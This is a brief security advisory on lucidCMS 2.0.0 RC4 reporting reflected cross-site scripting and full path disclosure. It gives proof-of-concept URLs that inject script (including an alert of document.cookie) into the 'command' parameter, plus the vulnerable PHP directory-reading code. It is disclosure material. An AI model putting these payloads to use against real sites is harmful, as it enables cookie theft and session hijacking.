--- Software description

 lucidCMS is a simple and flexible content management system for
 the individual or organization that wishes to manage a collection
 of web pages without the overhead and complexity of other available
 open source "community" CMS options.

 HOME    : http://lucidCMS.net
 Version : 2.0.0 RC4

--- The bugs

 There's 2 bugs.XSS and full path disclosures

--- PoC


1. XSS a.k.a Cross site scripting

   How the Proof of concepts ?

   http://[victim]/[lucidcms_dir]/index.php?command=login'>[XSS_here]
   http://[victim]/[lucidcms_dir]/index.php?i18n=cs_CZ&command=panel'>[XSS_here]
   http://[victim]/[lucidcms_dir]/index.php?i18n=en_US&command=panel'>[XSS_here]

   example :

  
http://127.0.0.1/lucidcms/index.php?i18n=en_US&command=panel'><script>alert(document.cookie)</script>

   http://127.0.0.1/lucidcms/index.php?i18n=en_US&command=panel'><h1>Bla bla
bla</h1>

   http://127.0.0.1/lucidcms/index.php?command=login'><script>alert('patch your
   lucidCMS')</script>

  
http://127.0.0.1/lucidcms/index.php?i18n=cs_CZ&command=panel'><h1>stooopidz</h1>


2. Full path disclosures

   in /lucid_phplib/translator.php

   http://[victim]/[lucidcms_dir]/lucid_phplib/translator.php

   Warning: opendir(DIR_LANG): failed to open dir: No such file or directory in
   /var/www/html/lucidcms/lucid_phplib/translator.php on line 45

   Warning: readdir(): supplied argument is not a valid Directory resource in
   /var/www/html/lucidcms/lucid_phplib/translator.php on line 46

   Where's the problem ???

   function get_languages(){
	$langs = array();
	$dir = opendir(DIR_LANG); <-- This is the trouble
	while($name = readdir($dir)) { <-- and this too
		if ($name == '.' || $name== '..') continue;
		$langFile = DIR_LANG.$name.'/LC_MESSAGES/'.CONFIG_DOMAIN.'.mo';
		if (file_exists($langFile)) {
//			$GLOBALS['echoLater'][] = $langFile; //troublshooting...
			$langs[] = $name;
		}
	}
	return $langs;
}//get_languages
